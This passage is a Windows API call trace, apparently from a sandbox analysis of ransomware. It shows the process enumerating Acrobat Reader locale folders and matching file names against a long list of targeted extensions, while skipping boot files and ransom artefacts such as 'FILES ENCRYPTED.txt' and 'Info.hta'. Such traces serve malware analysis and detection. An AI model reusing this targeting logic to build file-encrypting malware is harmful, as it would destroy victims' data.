	[0176.758] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0176.758] lstrlenW (lpString=".jpeg") returned 5
	[0176.759] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0176.759] lstrlenW (lpString=".jpf") returned 4
	[0176.759] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0176.759] lstrlenW (lpString=".jpg") returned 4
	[0176.759] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0176.759] lstrlenW (lpString=".jpx") returned 4
	[0176.759] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0176.759] lstrlenW (lpString=".js") returned 3
	[0176.759] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0176.759] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.759] lstrlenW (lpString=".GTF") returned 4
	[0176.759] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0176.759] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.759] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0176.759] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0176.759] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr\\ui-strings.js") returned 134
	[0176.759] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0176.759] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0176.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.759] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0176.760] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-ma") returned 120
	[0176.760] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-ma") returned 1
	[0176.760] lstrlenW (lpString="fr-ma") returned 5
	[0176.760] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-ma") returned -1
	[0176.760] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42c29b8
	[0176.760] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-ma") returned 120
	[0176.760] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0176.761] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.761] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.761] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.761] lstrlenW (lpString=".1cd") returned 4
	[0176.761] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0176.761] lstrlenW (lpString=".3ds") returned 4
	[0176.761] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0176.761] lstrlenW (lpString=".3fr") returned 4
	[0176.761] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0176.761] lstrlenW (lpString=".3g2") returned 4
	[0176.761] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0176.761] lstrlenW (lpString=".3gp") returned 4
	[0176.761] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0176.761] lstrlenW (lpString=".7z") returned 3
	[0176.761] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.761] lstrlenW (lpString=".accda") returned 6
	[0176.761] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0176.761] lstrlenW (lpString=".accdb") returned 6
	[0176.761] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0176.761] lstrlenW (lpString=".accdc") returned 6
	[0176.761] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0176.761] lstrlenW (lpString=".accde") returned 6
	[0176.761] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0176.761] lstrlenW (lpString=".accdt") returned 6
	[0176.761] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0176.761] lstrlenW (lpString=".accdw") returned 6
	[0176.761] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0176.762] lstrlenW (lpString=".adb") returned 4
	[0176.762] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".adp") returned 4
	[0176.762] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai") returned 3
	[0176.762] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.762] lstrlenW (lpString=".ai3") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai4") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai5") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai6") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai7") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ai8") returned 4
	[0176.762] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".anim") returned 5
	[0176.762] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0176.762] lstrlenW (lpString=".arw") returned 4
	[0176.762] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".as") returned 3
	[0176.762] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.762] lstrlenW (lpString=".asa") returned 4
	[0176.762] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".asc") returned 4
	[0176.762] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0176.762] lstrlenW (lpString=".ascx") returned 5
	[0176.762] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0176.762] lstrlenW (lpString=".asm") returned 4
	[0176.763] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".asmx") returned 5
	[0176.763] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0176.763] lstrlenW (lpString=".asp") returned 4
	[0176.763] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".aspx") returned 5
	[0176.763] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0176.763] lstrlenW (lpString=".asr") returned 4
	[0176.763] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".asx") returned 4
	[0176.763] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".avi") returned 4
	[0176.763] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".avs") returned 4
	[0176.763] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".backup") returned 7
	[0176.763] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0176.763] lstrlenW (lpString=".bak") returned 4
	[0176.763] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".bay") returned 4
	[0176.763] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".bd") returned 3
	[0176.763] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.763] lstrlenW (lpString=".bin") returned 4
	[0176.763] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".bmp") returned 4
	[0176.763] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".bz2") returned 4
	[0176.763] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0176.763] lstrlenW (lpString=".c") returned 2
	[0176.763] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.763] lstrlenW (lpString=".cdr") returned 4
	[0176.763] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cer") returned 4
	[0176.764] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cf") returned 3
	[0176.764] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.764] lstrlenW (lpString=".cfc") returned 4
	[0176.764] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cfm") returned 4
	[0176.764] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cfml") returned 5
	[0176.764] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0176.764] lstrlenW (lpString=".cfu") returned 4
	[0176.764] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".chm") returned 4
	[0176.764] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cin") returned 4
	[0176.764] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".class") returned 6
	[0176.764] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0176.764] lstrlenW (lpString=".clx") returned 4
	[0176.764] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".config") returned 7
	[0176.764] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0176.764] lstrlenW (lpString=".cpp") returned 4
	[0176.764] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".cr2") returned 4
	[0176.764] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0176.764] lstrlenW (lpString=".crt") returned 4
	[0176.764] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".crw") returned 4
	[0176.765] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".cs") returned 3
	[0176.765] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.765] lstrlenW (lpString=".css") returned 4
	[0176.765] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".csv") returned 4
	[0176.765] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".cub") returned 4
	[0176.765] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dae") returned 4
	[0176.765] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dat") returned 4
	[0176.765] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".db") returned 3
	[0176.765] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.765] lstrlenW (lpString=".dbf") returned 4
	[0176.765] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dbx") returned 4
	[0176.765] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dc3") returned 4
	[0176.765] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dcm") returned 4
	[0176.765] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dcr") returned 4
	[0176.765] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".der") returned 4
	[0176.765] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dib") returned 4
	[0176.765] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dic") returned 4
	[0176.765] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0176.765] lstrlenW (lpString=".dif") returned 4
	[0176.766] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0176.766] lstrlenW (lpString=".divx") returned 5
	[0176.766] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0176.766] lstrlenW (lpString=".djvu") returned 5
	[0176.766] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0176.766] lstrlenW (lpString=".dng") returned 4
	[0176.766] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0176.766] lstrlenW (lpString=".doc") returned 4
	[0176.766] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0176.766] lstrlenW (lpString=".docm") returned 5
	[0176.766] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0176.766] lstrlenW (lpString=".docx") returned 5
	[0176.766] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0176.766] lstrlenW (lpString=".dot") returned 4
	[0176.767] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dotm") returned 5
	[0176.767] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0176.767] lstrlenW (lpString=".dotx") returned 5
	[0176.767] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0176.767] lstrlenW (lpString=".dpx") returned 4
	[0176.767] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dqy") returned 4
	[0176.767] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dsn") returned 4
	[0176.767] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dt") returned 3
	[0176.767] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.767] lstrlenW (lpString=".dtd") returned 4
	[0176.767] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dwg") returned 4
	[0176.767] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dwt") returned 4
	[0176.767] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".dx") returned 3
	[0176.767] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.767] lstrlenW (lpString=".dxf") returned 4
	[0176.767] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".edml") returned 5
	[0176.767] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0176.767] lstrlenW (lpString=".efd") returned 4
	[0176.767] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".elf") returned 4
	[0176.767] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".emf") returned 4
	[0176.767] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0176.767] lstrlenW (lpString=".emz") returned 4
	[0176.767] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0176.768] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.768] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0176.768] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.768] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0176.768] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.768] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0176.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.769] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0176.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.770] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0176.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.771] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0176.772] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.772] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0176.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.773] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0176.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.773] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0176.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.773] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0176.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.774] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0176.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0176.775] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0176.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.916] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0176.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
